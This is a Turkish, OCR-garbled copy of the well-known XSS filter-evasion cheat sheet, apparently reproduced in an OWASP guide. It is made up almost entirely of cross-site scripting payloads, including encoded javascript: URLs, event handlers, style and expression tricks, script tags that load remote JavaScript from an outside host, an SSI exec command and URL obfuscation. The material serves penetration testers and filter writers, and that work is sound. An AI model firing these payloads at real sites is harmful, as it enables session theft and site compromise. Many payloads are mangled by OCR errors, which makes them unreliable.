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Kopya Kagitlari

Siteler arasi (6tesi) betik calistirma (Cross Site Scripting)

Bu liste Robert Hansen’in izni ile yeniden olusturulmus ve en son 28 Nisan 2005’te

yenilenmistir. Listenin en yeni siirlimii http://ha.ckers.org/xss.html adresinde bulunabilir.

XSS Saptayici
Bu dizgiyi enjekte edin, kaynak kodu acin ve “XSS” dizgisini (string) arayin, eger
"&lt;XSS" yerinde "<XSS" goriiyorsaniz sayfa saldirtya aciklik olabilir.

Tl -—"<xXSS>=6&1{ () }

Normal XSS

<IMG SRC="javascript:alert('XSS');">

Tirnak ve noktali virgul olmadan

<IMG SRC=javascript:alert ('XSS')>

Blyuk kiiclik harf ayrimi yapmadan

<IMG SRC=JaVaScRiPt:alert ('XSS')>

HTML varliklan (entity)

<IMG SRC=JaVaScRiPt:alert (&quot;XSS&quot;)>

UTF-8 Unicode kodlama

IE ve Opera basta olmak tizere

<IMG
SRC=6#106;&#97; &#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;6&#114;6#116;&#40;&#39,;&#88;&#83;&#83;&#39;&#41>
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Noktali virgulsiiz uzun UTF-8 kodlama

Bu genellikle s #xx stili XSS saldirilarin1 engelleyen kodlar icin etkilidir, ¢linkii bir
cok insan toplamda 7 numerik karaktere tamamlamay1 bilmez. Bu, $tmp_string =~
s/.*\&# (\d+);.*/s1/; gibi html kodlanmis bir dizginin noktal virgiille bitecegini
(hatal bir sekilde) varsayan dizgilere kars1 kod ¢cozen (decode) kisilere kars1 yararhdir.

<IMG
SRC=6&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#00
00105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0
000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Noktali virgilsiiz Hex kodlama

Bu da yukaridaki Perl regex (diizenli ifadeler) degistirmesine kars1 uygulanabilir bir
saldirdir.
$tmp_string =~ s/.*\&# (\d+);.*/$1/;

Yukaridaki regex’teki yanlis varsayim, # karakteri sonrasi bir numerik karakterin
gelecegidir, ki bu hex HTML icin gegerli degildir.
<IMG

SRC=&#xX6A&H#X61&#XTO&H#X61&H#XTIEH#XO3EHXT2&HX69&HXTO&HXTA4&#X3A&H#X61&#X6CEH
XO5&#XT26#XTAGH#X28&#X2T&H#x58&#x53&#x53&#x27&#x29>

XSS’i bélmek icin kullanilan bosluk karakterleri

IE ve Opera’da calisir. Baz1 websiteleri 09-13 (onluk diizende) karakterlerinden
herhangi birinin bu tiir bir saldirida ¢alisacagini iddia etmektedir. Bu dogru degildir.
Sadece 09 (yatay sekme), 10 (satir atlama) ve 13 (satir bag1 komutu) ¢alisir. Daha fazla
detay i¢in ASCII tablosuna bakin. Asagidaki 4 tane XSS 6rnegi bu saldir1 vektoriinii
(¢esidini) gosterir:
<IMG SRC="jav&#x09;ascript:alert ('XSS');">
<IMG SRC="jav&#x0A;ascript:alert ('XSS');">
<IMG SRC="jav&#x0D;ascript:alert ('XSS');">
<IMG

SRC



Bos (null) baytlar
Tamam yalan s6yledim, null baytlar da XSS vektorleri (¢esitleri) olarak IE ve
Opera’nin eski versiyonlarinda calisir. Ama yukaridaki gibi degil. Dizgileri (string) Burp

Proxy gibi bir aragla, direk olarak enjekte etmeniz gerekir veya eger dizgiyi kendiniz
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yazmak istiyorsaniz ya wim ("V @ karakter dizgisi null iiretir) kullanmaniz ya da
asagidaki programi kullanmaniz gerekir. Tamam, tekrar yalan sdyledim, Opera’nin eski
versiyonlar1 (Windows iizerinde circa 7.11) bir baska karaktere de, 173 (soft hypen
kontrol karakteri), aciktirlar. Ama null karakteri %00, benim asagidaki 6rnegi biraz
degistirerek gercek hayatta kullanilan bazi filtreleri atlatabilmemde daha faydali
olmustur.

perl —e 'print "<IMG SRC=java\Oscript:alert (\"XSS\")>";' > out

Bosluklar

Resimlerdeki (img) XSS saldirist icin JavaScript’in 6niindeki bosluklar. (bu durum,
ozellikle oriintli uyusmalarinin -pattern match- “javascript” kelimesindeki bosluklar1 goz
oniinde bulundurmamasinda faydalidir. Aslinda bu durumda kod ¢alismayacagindan bu
gozlem dogrudur ama bosluk "javascript:" anahtar kelimesi ile tirnaklar arasinda olursa
betik calisir):

<IMG SRC=" javascript:alert ('XSS') ;">

Tek tirnak veya cift tirnak veya noktali virgiil olmadan
<SCRIPT>a=/XSS/

alert (a.source)</SCRIPT>

Body resmi (image)

<BODY BACKGROUND="javascript:alert('XSS")">

Body etiketi (tag)

Bu metodu seviyorum, ¢iinkii bu metotla XSS saldirisin1 basarmak i¢in "javascript:"
veya "<SCRIPT..." gibi benzer yapilara gerek duyulmaz.
<BODY ONLOAD=alert('XSS")>

Olay isleyiciler (event handlers)



© Towasr
Olay isleyiciler body onload saldirisina benzer sekilde XSS saldirilarinda

kullanilabilir. Asagidaki liste yazildigr zamanin Internet’teki en kapsamli listesidir.
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FSCommand() (gomiilmiis Flash nesnesinden c¢alistirildiginda, saldirgan

tarafindan kullanilabilir)
onAbort() (kullanici, bir resmin yiiklenmesini yarida biraktiginda, kestiginde)
onActivate() (bir obje, aktif 6ge (element) olarak belirlendiginde)

onAfterPrint() (kullanicinin 6nizleme isini yapmasindan veya yazma isini

bitirmesinden sonra harekete gecer (activates))

onAfterUpdate() (kaynak nesnenin i¢indeki veri yeniledikten sonra veri objesi

tizerinde harekete gecer)
onBeforeActivate() (Nesne aktive edilmeden once ateslenir)

onBeforeCopy() (saldirgan saldir1 dizgisini, se¢ilen sey, tasima panosuna
kopyalanmadan hemen Once calistirir — saldirgan bunu execCommand("Copy")

fonksiyonunu kullanarak da yapabilir.)

onBeforeCut() (saldirgan saldir1 dizgisini se¢ilen kesilmeden hemen 6nce

calistirr.)

onBeforeDeactivate() (activeElement (aktif 6ge) gecerli nesneden baska bir

nesneye degistirilmesinden hemen sonra harekete gecer)

onBeforeEditFocus() (Diizenlenebilir (editable) 6ge icerisinde bulunan bir
nesnenin arayiiz (Ul)-aktif durumuna girmesinden hemen 6nce veya
diizenlenebilir bir kap (container) nesnesi kontrol secildiginde (control selected;

kullanicinin bir nesneye bir kez tiklamasi ile olur))

onBeforePaste() (kullanicinin yapistirmaya ikna edilmesi veya

execCommand(“Paste””) komutu ile buna zorlanmas1 gerekir)

onBeforePrint() (kullanicinin yazma islemine ikna edilmesi gerekir veya

saldirganin print() veya execCommand("Print") fonksiyonunu kullanabilir)

onBeforeUnload() (kullanict tarayiciy1r kapatmaya ikna edilmelidir — ¢linkii

ebeveyn tarafindan agcilmadiysa saldirgan pencereyi geri bosaltamaz (unload).)

onBlur() (pencere ilgiyi kaybettiginde ve diger bir baglamsal pencere (popup)
yiiklendiginde)
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“alternate” degerine esitlendiginde ve marquee nesnesinin icerigi pencerenin bir

onBounce() (marquee (bir HTML etiketi) nesnesinin “behavior” ozelligi

tarafina dayandiginda ateslenir)

onCellChange() (veri saglayicidaki veri degistiginde ateslenir)

onChange() (select, text, veya TEXTAREA alanlari ilgiyi kaybettiginde ve
degerleri degistirildiginde)

onClick() (birisinin form iizerine tiklamasi ile)

onContextMenu() (kullanicinin saldir1 alanina sag tiklamasi gerekir)

onControlSelect() (kullanici, nesneye kontrol se¢me (6rnek: bir kez tikladiginda)

yaptiginda ateslenir)

onCopy() (kullanicinin birseyleri kopyalamasi veya execCommand("Copy")

komutunun ¢alistirilmasi gerekir)

onCut() (kullanicinin birseyleri kesmesi veya execCommand("Cut") komutunun

calistirllmasi gerekir)

onDataAvailible() (kullanicinin bir 68e icerisindeki veriyi degistirmesi veya

saldirganin ayni isi yapmasi gerekir)

onDataSetChanged() (bir veri kaynak nesnesi tarafindan gosterilen veri kiimesi

degistiginde ateslenir)

onDataSetComplete() (veri kaynak nesnesinden gelen biitiin verilerin hazir

oldugunu belirtmek icin ateslenir)
onDbIClick() (kullanic1 bir baga (link) veya form 6gesine cift tiklar)

onDeactivate() (activeElement (aktif 6ge) gecerli nesneden ebeveyn

dokiimanindaki baska bir nesneye degistirildiginde ateslenir)
onDrag() (kullanicinin bir nesneyi siiriiklemesini (drag) gerektirir)
onDragEnd() (kullanicinin bir nesneyi siiriiklemesini (drag) gerektirir)

onDragleave() (kullanicinin bir nesneyi gecerli bir yer disina siiriiklemesini

gerektirir)

onDragEnter() (kullanicinin bir nesneyi gegerli bir yere siiriiklemesini gerektirir)
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onDragOver() (kullanicinin bir nesneyi gegerli bir yere siiriiklemesini gerektirir)

onDragDrop() (kullanic1 bir nesneyi (mesela bir dosya) tarayici (browser)

penceresine birakir)
onDrop() (kullanici bir nesneyi (mesela bir dosya) tarayict penceresine birakir)
onError() (bir dokiimanin veya resmin yiiklenmesi hataya sebebiyet verirse)

onErrorUpdate() (veri kaynagi nesnesindeki ilgili veriyi yenileme sirasinda bir
hata olustugunda bir veri-bagli (databound; HTML Sunucu kontrollerinden)

nesnesi lizerinde ateslenir)
onExit() (Birisi bir bag {izerine tikladiginda veya geri tusuna bastiginda)
onFilterChange() (gorsel bir filtre durum degisimini bitirdiginde ateslenir)

onFinish() (marquee (bir HTML etiketi; bir dizgi yatay olarak hareket eder)

dongiisiinii bitirdiginde saldirgan saldiriy1 olusturabilir)

onFocus() (pencere ilgi kazandiginda saldirgan saldir1 dizgisini calistirir)
onFocusIn() (pencere ilgi kazandiginda saldirgan saldir1 dizgisini ¢alistirir)
onFocusOut() (pencere ilgiyi kaybettiginde saldirgan saldir1 dizgisini caligtirir)

onHelp() (kullanici, pencere ilgiye sahipken F1’e bastiginda saldirgan saldir1

dizgisini caligtirir)

onKeyDown() (kullanic1 tusa basmay1 birakir)
onKeyPress() (kullanici tusa basar ve basmaya devam eder)
onKeyUp() (kullanici tusu birakir)

onLayoutComplete() (kullanict yazma veya Onizleme islemini yapmak

zorundadir)
onLoad() (pencere yiiklendikten sonra saldirgan saldir1 dizgisini ¢alistirir)
onLoseCapture() (releaseCapture() medotu ile saldir1 gerceklenir)

onMouseDown() (saldirgan kullaniciy1 bir resmin iizerine tiklamaya ikna

etmelidir)

onMouseEnter() (imlec bir nesnenin veya bir alanin iizerinde hareket eder)
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onMouseLeave() (saldirgan kullaniciyi, faresini bir resmin veya tablonun {izerine

getirip tekrar digina gotiirmeye ikna etmelidir)

onMouseMove() (saldirgan kullaniciyi, faresini bir resmin veya tablonun iizerine

getirmeye ikna etmelidir)

onMouseOut() (saldirgan kullaniciyi, faresini bir resmin veya tablonun iizerine

getirip tekrar digina gotiirmeye ikna etmelidir)

onMouseOver() (imlec (fare isareti) bir nesnenin veya bir alanin iizerinde hareket

eder)

onMouseUp() (saldirgan kullaniciy1 bir resme tiklamaya ikna etmelidir)
onMouseWheel() (saldirgan kullaniciyi faresinin topunu kullanmasina ikna eder)
onMove() (kullanici veya saldirgan sayfay: tasimalidir)

onMoveEnd() (kullanic1 veya saldirgan sayfayi tasimalidir)

onMoveStart() (kullanici veya saldirgan sayfay1 tasimalidir)

onPaste() (kullanicinin yapistirma islemini yapmasi gerekir veya saldirganin

execCommand("Paste") fonksiyonunu kullanabilir)

onProgress() (saldirgan bunu bir Flash filmi yiiklenirken yapmalidir)
onPropertyChange() (kullanici veya saldirgan bir 68enin 6zelligini
degistirmelidir)

onReadyStateChange() (kullanici veya saldirgan bir 6genin 6zelligini
degistirmelidir)

onReset() (kullanict veya saldirgan bir formu ilk durumuna dondiiriir (reset))

onResize() (kullanicinin pencerenin boyunu degistirmeli veya saldirgan
pencerenin boyunu otomatik olarak su sekilde ilklendirebilir;

<SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResizeEnd() (kullanicinin pencerenin boyunu degistirmeli veya saldirgan
pencerenin boyunu otomatik olarak su sekilde ilklendirebilir;

<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
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onResizeStart() (user would resize the window; attacker could auto initialize with

something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResizeStart() (kullanicinin pencerenin boyunu degistirmeli veya saldirgan
pencerenin boyunu otomatik olarak su sekilde ilklendirebilir;

<SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onRowEnter() (kullanic1 veya saldirgan bir veri kaynaginda bir satir1
degistirmelidir)

onRowEXxit() (kullanic1 veya saldirgan bir veri kaynaginda bir satiri
degistirmelidir)

onRowDelete() (kullanici veya saldirgan bir veri kaynagindan bir satir1 silmelidir)
onRowInserted() (kullanic1 veya saldirgan bir veri kaynagina bir satir eklemelidir)

onScroll() (kullanicinin kaydirma islemi yapmasi gerekir veya saldirgan

scrollBy() fonksiyonunu kullanabilir)

onSelect() (kullanicinin herhangi bir yaziy1 secmesi gerekir — saldirgan su sekilde
bir otomatik ilklendirme de yapabilir:

window.document.execCommand("SelectAll");)

onSelectionChange() (kullanicinin herhangi bir yaziy1 segcmesi gerekir — saldirgan
su sekilde bir otomatik ilklendirme de yapabilir:

window.document.execCommand("SelectAll");)

onSelectStart() (kullanicinin herhangi bir yaziy1 se¢mesi gerekir — saldirgan su
sekilde bir otomatik ilklendirme de yapabilir:

window.document.execCommand("SelectAll");)

onStart() (biitiin marquee dongiilerinin basinda ateslenir)

onStop() (kullanicinin dur tusuna basmasi veya websitesinden ayrilmasi gerekir)
onSubmit() (saldirganin veya kullanicinin bir formu yollamasi gerekir)

onUnload() (kullanic1 herhangi bir baga (link) tikladiginda veya GERI tusuna

bastiginda veya saldirgan kullaniciyi bir baga tiklamaya zorladiginda)
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IMG Dynsrc
IE’de calisir

<IMG DYNSRC="javascript:alert ('XSS"')">

Input DynSrc

<INPUT TYPE="image" DYNSRC="javascript:alert ('XSS');">

Arkaplan Kaynagi
IE’de calisir

<BGSOUND SRC="javascript:alert('XSS');">

& JS Include

Netscape 4.x

<br size="&{alert ('XSS')}">

Layer Kaynagi
Netscape 4.x

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

Bicem Dokiimani (CSS)

<LINK REL="stylesheet" HREF="javascript:alert ('XSs');">

Bir Resmin icerisindeki VBScript

<IMG SRC='vbscript:msgbox ("X3S")'>

Mocha

Sadece eski Netscape’te
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<IMG SRC="mocha: [code]">

Livescript

Sadece eski Netscape’te

<IMG SRC="livescript:[code]">

Meta

meta yenileme (meta refresh) ile ilgili garip olan IE, Firefox, Netscape or Opera’da
baslikta (HTTP basliginda) bir Referrer yollamamasidir, bu nedenle Referrer
etiketlerinden kurtulmaniz gereken bazi saldirilarda kullanilabilir.

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

IFrame

Eger iframe’lere izin verilirse bir ¢cok XSS problemi de dogacaktir.

<IFRAME SRC=javascript:alert ('XSS')></IFRAME>

Frameset

<FRAMESET><FRAME SRC=javascript:alert ('XSS')></FRAME></FRAMESET>

Table
Tablolarin XSS’e hedef olacagim kim diisiiniirdii ki ... ben harig, tabiki! ©

<TABLE BACKGROUND="javascript:alert ('XSS')">

DIV Arkaplan Resmi

<DIV STYLE="background-image: url (javascript:alert ('XSS'))">

.htc XSS acikliklarinda DIV Behavior
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Sadece Netscape

<DIV STYLE="behaviour: url('http://xss.ha.ckers.org/exploit.htc');">

DIV expression
Sadece IE. Bunun bagka bir versiyonu, iki nokta iistiiste ile “expression” arasinda
yeni satir kullanan, gercek hayattaki bir XSS filtresine kars1 etkili olmustu.

<DIV STYLE="width: expression(alert('XSS'));">

Parcalanmis JavaScript ile Style etiketleri

<STYLE>Qim\port'\ja\vasc\ript:alert ("XSS")';</STYLE>

expression ile IMG Style
Bu, yukaridaki XSS vektorlerinin gercek bir karisimidir ama STYLE etiketlerinin
ayristirtlmasinin (parse) ne kadar zor oldugunu gosterir
<IMG STYLE='
XSSt

expre\ssion(alert ("XsSs"))'>

Style Etiketi

Sadece Netscape

<STYLE TYPE="text/javascript">alert('X SS');</STYLE>

Arkaplan Resmi kullanan Style Etiketi

<STYLE TYPE="text/css">.XSS{background-
image:url ("javascript:alert ('XSS')"); }</STYLE><A CLASS=XSS></A>

Arkaplan kullanan Style Etiketi
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<STYLE

type="text/css">BODY{background:url ("javascript:alert ('XSS"'")")}</STYLE>

BASE etiketi

Geri kalan karakterilerin yorumlanmasini engellemek icin // karakterlerini
kullanmaniz gerekir, boylece JS hatas1 almazsiniz ve XSS etiketiniz calisir. Bu ayni
zamanda, yollar1 (path) tam olarak degil de "/images/image.jpg" gibi dinamik olarak
olusturulan resimlerin kullanilmasi1 durumuna baglidir.

<BASE HREF="javascript:alert ('XSS');//">

Object Etiketi
Sadece IE. Objelere izin verildiginde, kullanicilar etkileyecek viruslerde enjekte
edebilirsiniz. Ayn1 sey APPLET etiketleri i¢in de gecerlidir:

<OBJECT data=http://xss.ha.ckers.org width=400 height=400 type=text/x-

scriptlet">

Flash ve Object
OBJECT etiketini kullanarak XSS igeren bir flash filmi gomebilirsiniz.

getURL ("javascript:alert ('XSs')")

Yukaridaki aksiyon betigini flash igerisinde kullanarak XSS saldirinizi
saklayabilirsiniz (karmasiklastirabilirsiniz):
a="get";
b="URL";
c="javascript:";
d="alert ('XSS');";

eval (a+b+c+d) ;

XML
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<XML SRC="javascript:alert('XSS');">

Higbiri calismazsa, IMG SRC
Sadece <IMG SRC="$yourinput"> alanina yazabildiginizi varsayarsak ve
"javascript:" anahtar kelimesi 0zyineli (recursive) olarak siliniyorsa:

"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert ('XSS');}</SCRIPT><"

Sadece birkag karakter enjekte edebildiginizi ve “.js”’yi temizledigini varsayarsak,
JavaScript dosyaniz1 XSS saldirisi olarak bir resim ismine degistirebilirsiniz.

<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>

Yari acik HTML/JS XSS vektorleri

Bu bir saldir vektorii olarak faydalidir ¢iinkii > isaretine gerek duymaz. Bu durum
XSS’inizi enjekte edeceginiz yerin asagisinda herhangi bir HTML etiketi oldugunu
varsayar. “>" etiketi olmasa dahi onun altindaki etiketler bu durumun bir hata olmasini
engelleyecektir. Iki nokta 1) Bu durum alttaki HTML’e gére HTML’in yapisim bozar ve
2) Kesinlikle ¢ift tirnak isaretine ihtiyaciniz olacaktir, yoksa JavaScript’iniz hata verir
clinkil degerlendirecegi bir sonraki satir sunun gibi birsey olacaktir "</TABLE>". Bir yan
not olarak, bir IMG etiketi yerine acik uclu bir IFRAME etiketi kullanan, gercek hayatta
karsilastigim bir XSS filtresine kars1 da etkili olmustu:

<IMG SRC="javascript:alert ('XSS')"

Server Side Includes

SST’1n sunucuda kurulu olmasini gerektirir

<!——#exec cmd="/bin/echo '<SCRIPT SRC'"—--><!-—-#exec cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></SCRIPT>'"——>

IMG gomulia komutlar
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Bu, kullanacagimiz XSS dizgisinin enjekte edilecegi web sayfasinin (web mesaj
panolart gibi) sifre korumasi arkasinda oldugu durumda ve bu sifre korumasinin ayni etki
alan iizerinde diger komutlarla ¢alistiginda basarili olur. Bu saldir1 ile kullanicilart
silebilir, ekleyebilir (eger sayfay1 ziyaret eden kisi yonetici ise) ve kimlik bilgilerini
baska yere yollayabilirsiniz, v.b. Bu en az kullanilan ama en etkili XSS vektorlerindendir.

<IMG
SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=malic

iouscode">

HTML tirnak kapsama kullanarak XSS
Bu IE’de test edilmistir, sizin denemelerinizde farklililar olabilir.
"<SCRIPT>"’€izin verip "/<script [*>]+src/i" regex filtresini kullanarak
"<SCRIPT SRC..." eizin vermeyen sitelerde XSS calistirmak i¢in:

<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

"<SCRIPT>"’e izin verip asagidaki regex gibi bir filtre kullanarak "&ltscript src..."’a

izin vermeyen sitelerde XSS calistirmak i¢in:
/<script ((\s+\w+ (\s*=\s* (2:" (.)*2" [ " () *2" | [*'">\s]+))?)+\s*|\s*)src/i

Bu 6nemli ¢iinkii yukaridaki regex’i gercek hayatta gordiim:

<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

Veya

<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

Veya

<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
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Biliyorum, acikliklar1 giderme tekniklerinden bahsetmeyecegimi sdylemistim ama
eger uzaktan indirilen betige (remote script) degilde hala <SCRIPT> etiketlerine izin
veriyorsaniz, bu XSS 6rneginin ¢aligsmasi icin bildigim tek sey bir sonlu otomatti (state
machine) (ve tabi <SCRIPT> etiketlerine izin veriliyorsa bunu yapmanin bagka yollar da
vardir). Bu XSS beni hala endiselendiriyor, ¢iinkii bunu durdurmanin tek yolu biitiin aktif

icerigi durdurmaktir.

<SCRIPT>document.write ("<SCRI") ;</SCRIPT>PT
SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

URL Dizgi Atlatmasi
http://www.google.com/ nin programsal olarak yasaklandigini varsayalim.

¢  Sunucu ismine karsilik IP

<A HREF=http://66.102.7.147/>link</A>

¢ URL kodlama
<A
HREF=http://%77%77%77%2E%67%6F %06 F %67 %6C %65 %2E %63 %6F %6D>1
ink</A>

Protokol ¢c6ziimleme atlatmasi

ht:// IE’de nttp://’ye ¢evrilir. XSS ile ¢alisacak daha bagska bir ¢ok kisa yollar
vardir, mesela htt://, hta://, help:// v.b... Bu gercekten yerin ¢cok 6nemli
oldugu durumlarda ise yarar (2 karakter eksik dizgiler ile ¢ok seyi yaptirilabilir).

<A HREF=ht://www.google.com/>1ink</A>

cnames’leri silmek



€ Orwasr

Yukaridaki URL ile birlestirildiginde, “www.”’yi silmek ek olarak 4 bayt
kazandiracaktir. Boylece bu 6zelligin kurulu oldugu sunucularda toplam 6 baytlik bir
kazanim olacaktir.

<A HREF=http://google.com/>1link</A>

Tam Alan Adi (FQDN)
Tam alan adlar ¢oziimlemesi i¢in en sona bir nokta koyun.

<A HREF=http://www.google.com./>1link</A>

JavaScript

<A

HREF="javascript:document.location="http://www.google.com/"'">1ink</A>

Saldin vektori olarak icerik degistirme

“http://www.google.com/” in programsal olarak hi¢ (nothing) ile degistirildigini
varsayalim. Saldir1 vektoriinii olusturmaya yardimci olmasi i¢in buna benzer bir XSS
vektoriinii, gercek hayatta kullanilan bir XSS filtresine karsi, degistirme filtresinin
kendisini kullanarak olusturmustum (IE’de ve Opera’da calistirilan
"Java&#x26; #x09;script:" "javas#x09;script:"’a ¢evrilmisti.).

<A HREF=http://www.gohttp://www.google.com/ogle.com/>1ink</A>

Karakter Kodlama

[I3%2)

Asagidakiler su anda “<” karakteri i¢in gecerli kodlamalardir. Standardlar harika
seyler, degil mi? ©



&LT

&LT;

&#60

&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003¢c
&#x3c;
&#x03¢c;
&#x003¢c;
&#x0003c;
&#x00003c¢c;
&#x000003¢c;
&#X3c
&#X03c
&#X003c
&#X0003¢c
&#X00003c

&#X000003c

Turk ey



€

&#X3c;
&#X03¢c;
&#X003c;
&#X0003c;
&#X00003c¢c;
&#X000003¢c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;

&#X0003C;

Dokiimanin Ash : OWASP GUIDE 2.0.1
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